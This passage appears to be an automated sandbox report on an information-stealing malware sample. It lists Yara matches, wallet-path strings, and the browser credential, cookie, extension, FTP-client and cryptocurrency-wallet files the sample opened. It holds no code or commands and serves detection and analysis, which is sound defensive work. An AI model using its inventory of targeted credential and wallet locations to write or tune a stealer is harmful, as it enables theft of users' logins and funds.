Source: Yara match	File source: 00000013.00000002.2314305841.00000000018EC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000003.2472215576.0000000005180000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2371370494.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2392488170.000000000063E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2371042697.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2397297252.00000000008D1000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2527180417.00000000014DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2397549436.00000000008EE000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2312440021.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000029.00000002.2513367110.0000000000A31000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 6728, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4b41d9dd20.exe PID: 5320, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1003159001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 6c1c4a36e1.exe, 00000026.00000002.2532922901.0000000000BD4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 6c1c4a36e1.exe, 00000012.00000003.2305295015.0000000001488000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: 6c1c4a36e1.exe, 00000012.00000003.2285702611.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: 6c1c4a36e1.exe, 00000012.00000003.2285702611.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore
Source: 6c1c4a36e1.exe, 00000012.00000003.2285702611.0000000001495000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live\y

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
